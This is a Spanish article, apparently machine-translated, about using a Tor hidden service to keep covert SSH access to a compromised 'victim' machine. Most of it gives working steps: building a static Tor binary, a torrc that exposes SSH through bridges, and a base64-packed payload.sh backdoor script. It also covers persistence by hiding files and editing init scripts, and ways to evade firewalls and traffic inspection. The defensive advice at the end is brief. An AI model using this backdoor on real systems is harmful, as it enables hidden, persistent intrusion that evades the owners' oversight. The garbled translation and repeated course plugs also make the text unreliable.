¿Cómo usar Tor para la evasión de Firewall y el acceso remoto anónimo?

Share this…

Cuando las direcciones IP que se utilizas para mantener el acceso remoto son bloqueadas o descubiertas, si no estás listo fracasaras y darás vuelta al punto de partida. Dependiendo de qué tan juguetón es  tu adversario, ellos pueden incluso tratar de saber quién es el propietario de esas direcciones IP.

Introduzca Tor – una solución simple. La red Tor se puede aprovechar para mantener el acceso a los servidores comprometidos. Según curso de seguridad en redes, el uso de la red Tor puede ser utilizado para ejecutar los servicios ocultos. Podríamos conectarnos a nuestra victima infectada mediante el procedimiento siguiente:

 

ssh -i /path/to/key -p2222 someuser@ab88t3k7eqe66noe.onion

 

Esta conexión se retransmitirá anónimamente a través de la red Tor, sin pasar por las reglas del firewall, y potencialmente incluso por proxies y la inspección de contenido confirman consultores de pruebas de penetración.

Usando lo anterior con un túnel SSH; podemos hacer todo tipo de cosas grandes.

En una máquina Windows, podría lograrse algo similar mediante la apertura del puerto SMB 445 o puerto RDP 3389 a la red Tor.

¿Cómo hacerlo?

Vamos a hacer esto en un nuevo Kali 2.0. El primer paso para la compilación de Tor es descargar y extraer la fuente y la instalación de las dependencias requeridas:

Vamos a construir Tor normalmente ejecutando los siguientes  dos comandos en serie:

./configure

make

Ahora vamos a ir a ver el binario Tor que acaba de ser construido por nosotros usando el comando “ldd” “. “Ldd” nos dirá lo que comparten las bibliotecas que se cargan por el binario, para un binario estático no debe haber ninguna.

cd src/or

ldd tor

 

linux-vdso.so.1 (0x00007ffe02d00000)

libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fd6982c3000)

libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fd697fc2000)

libevent-2.0.so.5 => /usr/lib/x86_64-linux-gnu/libevent-2.0.so.5 (0x00007fd697d7a000)

libssl.so.1.0.0 => /usr/lib/x86_64-linux-gnu/libssl.so.1.0.0 (0x00007fd697b1a000)

libcrypto.so.1.0.0 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.0 (0x00007fd69771f000)

libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fd697502000)

libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fd6972fe000)

libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd696f55000)

/lib64/ld-linux-x86-64.so.2 (0x00007fd6988b7000)

 

gcc -O2 -static -Wall -fno-strict-aliasing -L/usr/lib/x86_64-linux-gnu/  -o tor tor_main.o ./libtor.a ../common/libor.a ../common/libor-crypto.a ../common/libcurve25519_donna.a ../common/libor-event.a /usr/lib/x86_64-linux-gnu/libz.a -lm /usr/lib/x86_64-linux-gnu/libevent.a -lrt /usr/lib/x86_64-linux-gnu/libssl.a /usr/lib/x86_64-linux-gnu/libcrypto.a  -lpthread -ldl

 

Si corremos “ldd” contra el nuevo binario:

 

ldd tor

not a dynamic executable

 

¡Eso significa que funcionó!

 

Configuración de Tor

Tor está configurado en tiempo de ejecución apuntando a un archivo de configuración, normalmente se llama “torrc”. Un ejemplo de archivo torrc se muestra a continuación:

Bridge 176.182.30.145:443 DE54B6962AB7ECBB88E8BC58BEA94B6573267515

Bridge 37.59.47.27:8001 E0671CF9CB593F27CD389CD4DD819BF9448EA834

Bridge 192.36.27.122:55626 35E199EFB98CDC9D3D519EA4F765C021A216F589

UseBridges 1

SocksPort 9050

SocksListenAddress 127.0.0.1

HiddenServiceDir ./.hs/

HiddenServicePort 2222 127.0.0.1:22

 

Obtuvimos anteriormente “bridges” de bridges.torproject.org. Probablemente deberías obtener tus propios y reemplazarlos. Tenga en cuenta que si hay puertos TCP específicos permitidos saliente en su entorno, debes encontrar un bridge que se ejecute en los puertos explica consultor de pruebas de penetración.

Para ejecutar el servicio oculto para la prueba ejecuta lo siguiente:

./tor -f /path/to/torrc

 

Un nuevo directorio será creado, llamado “.hs”, en ese directorio habrá un archivo llamado “hostname”. Si nos fijamos en el contenido de este archivo veremos la dirección “.onion” donde se puede acceder a su servicio oculto.

 

cat ./hs/hostname

ab88t3k7eqe66noe.onion

 

Suponiendo que el servicio SSH está ejecutando en la máquina, debemos ser capaces de conectarnos a él desde otro ordenador a través de la red Tor de la siguiente manera:

ssh -p2222 user@ab88t3k7eqe66noe.onion

 

El comando anterior requiere que tengas una máquina conectada a la red Tor que esté encaminando correctamente todo el tráfico TCP a través de Tor. La forma más sencilla de hacer esto según curso de seguridad en redes es ejecutar de un VM que haya configurado previamente esto por ti, como Tails o Whonix.

 

Creando un Playload

Vamos a crear un buen Playload que agrupe todas estas cosas en un bash script.

En primer lugar vamos a copiar el archivo binario de “tor” y nuestro archivo “torrc” a un nuevo directorio:

mkdir ~/payload

cp tor torrc ~/payload

cd ~/payload

 

Tor requiere que el sistema lo ejecute, para tener un reloj preciso. Según curso de seguridad en redes, una forma de solucionar esto es usar las cabeceras HTTP de sitios web conocidos.

Todo esto está automatizado por un script en Perl escrito por expertos de pruebas de penetración, por lo que vamos a utilizar.

wget https://www.rkeene.org/devel/htp/mirror/archive/perl/htp-0.9.3.tar.gz

tar xzvf htp-0.9.3.tar.gz

cp htp-0.9.3/sbin/htpdate-light .

 

Vamos a comprimir nuestros binarios en un archivo comprimido para reducir el tamaño de carga útil.

tar cvzf binaries.tar.gz tor htpdate-light

 

Ahora vamos a crear nuestro script de playload, vamos a codificar el archivo con base64 y crear un nuevo script “payload.sh”:

 

echo ‘#!/bin/sh’ > payload.sh

echo -n ‘torbin=’ >> payload.sh

cat binaries.tar.gz | base64 -w 0 >> payload.sh

 

Ahora abre “payload.sh” en el editor de texto y pegue el resto de la secuencia de comandos que hay:

 

tar xzvf binaries.tar.gz

rm binaries.tar.gz

chmod +x tor

echo ‘

Bridge 176.182.30.145:443 DE54B6962AB7ECBB88E8BC58BEA94B6573267515

Bridge 37.59.47.27:8001 E0671CF9CB593F27CD389CD4DD819BF9448EA834

Bridge 192.36.27.122:55626 35E199EFB98CDC9D3D519EA4F765C021A216F589

UseBridges 1

SocksPort 9050

SocksListenAddress 127.0.0.1

HiddenServiceDir ./.hs/

HiddenServicePort 2222 127.0.0.1:22

‘ > ./torrc

perl ./htpdate-light google.com

./tor -f ./torrc

 

Para ejecutar el script

bash payload.sh

Se debe encender el servicio oculto Tor y enlazarlo al oyente SSH. Según curso de seguridad en redes, sólo tenemos que copiar el nombre de host que se genera en ./.hs/hostname y conectarse a través de ssh.

Yendo persistente

Si deseas que este se inicie en el reinicio del sistema y tendrás la acceso root a la máquina, para la forma más fácil es simplemente modificar un script de inicio existente. Según recomendaciones de expertos de pruebas de penetración, lo ideal sería copiar los archivos binarios y archivos de configuración de Tor a un lugar poco visible, y luego modificar la secuencia de comandos “init” para que Tor se ejecute cuando se inicia el sistema.

Evadir Protocolo de Inspección y ofuscar el tráfico

Acuerdo a expertos de pruebas de penetración, Tor se puede configurar con ofuscación y pluggable transports para hacer que el tráfico vea algo como no lo es. También hay opciones que pueden configurar en el archivo “torrc” para impulsar el tráfico a través de un servidor proxy. Usted puede aprender más acerca de este durante el curso de seguridad en redes.

¿Cómo protegerse?

Por desgracia, este tipo de ataque es difícil de bloquear a nivel de red – es por eso es que lo usamos. Usando pluggable transports y / o puentes de Tor bridges, un experto de prueba de penetración puede ocultar el tráfico para que aparezca como HTTP o HTTPS regulares, e incluso puede dirigirlo, a través de tu proxy corporativa utilizando algunas opciones en el archivo “torrc”.

Según maestros de curso de seguridad en redes El primer paso es para asegurar que el tráfico de salida TCP está siendo correctamente filtrado. Todo el tráfico de salida debe ser forzado a través del proxy corporativo.

Los sistemas de inspección de paquetes en proxy pararán ingenuos intentos en este tipo de ataque, según maestros de curso de seguridad en redes. Además aletas deben estar configurados por las conexiones de Tor detectadas.